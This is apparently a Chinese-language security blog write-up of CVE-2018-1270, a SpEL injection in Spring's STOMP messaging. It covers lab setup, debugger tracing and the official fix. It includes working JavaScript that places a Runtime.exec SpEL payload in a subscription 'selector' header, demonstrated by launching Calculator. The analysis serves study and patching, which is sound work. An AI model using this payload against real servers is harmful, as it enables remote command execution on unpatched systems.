Java Web 安全入门第二篇,分析 CVE-2018-1270,个人感觉本质上是 SpEL 表达式的问题。
漏洞详情
该漏洞在2018年4月5日公布,详情参考链接 https://pivotal.io/security/cve-2018-1270
影响版本为:
- Spring Framework 5.0 to 5.0.4
- Spring Framework 4.3 to 4.3.14
- Older unsupported versions are also affected
环境搭建
单纯地想测试该漏洞的可以利用 vulhub 上的 docker https://github.com/vulhub/vulhub/tree/master/spring/CVE-2018-1270
或者想本地调试的可以利用 github 上的官方项目,checkout 未修复的版本即可调试该漏洞:
git clone https://github.com/spring-guides/gs-messaging-stomp-websocket.git
cd gs-messaging-stomp-websocket
git checkout 6958af
漏洞利用
step1
参考 https://stomp.github.io/stomp-specification-1.0.html ,通过在 header
中指定相关的 selector
,可以对订阅的信息进行过滤:
Stomp brokers may support the selector header which allows you to specify an SQL 92 selector on the message headers which acts as a filter for content based routing.
对前端代码修改如下:
function connect() {
var header = {"selector":"T(java.lang.Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')"};
var socket = new SockJS('/gs-guide-websocket');
stompClient = Stomp.over(socket);
stompClient.connect({}, function (frame) {
setConnected(true);
console.log('Connected: ' + frame);
stompClient.subscribe('/topic/greetings', function (greeting) {
showGreeting(JSON.parse(greeting.body).content);
},header);
});
}
connect();
通过 Intellij 的调试可以看到,该过程最终会触发 spring-messaging 包内 org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry.java 的 addSubscriptionInternal
函数。该函数会对 header 的值进行处理,并保存到该次回话中。
可以看到此次会话 sessionId
的值为 lad4rsle
, subsId
的值为 sub-0
,expression
保存着传入的 selector 的值:T(java.lang.Runtime).getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
。
step2
发送任意消息,此时 spring 在分发消息时会调用 filterSubscriptions
函数对消息进行过滤,在该函数下断点:
可以看到函数会先取出保存在会话内的 expression
,然后利用 expression.getValue(context, Boolean.class)
触发 SpEL 表达式的执行,成功执行之前填入的 payload。
final
这熟悉的计算器
漏洞修复
官方补丁:https://github.com/spring-projects/spring-framework/commit/e0de9126ed8cf25cf141d3e66420da94e350708a
可以看到官方把能执行任意 SpEL 表达式的 StandardEvaluationContex
换成了 SimpleEvaluationContext
,用来实现简单的数据绑定,同时减少安全隐患。
总结
感觉还是 EL 能力过大有没有加以很好限制的问题,个人感觉只要找到这样一个 EL 的执行点作为 sink,而从外部输入的作为 source,则有很大的可能找到相关的漏洞。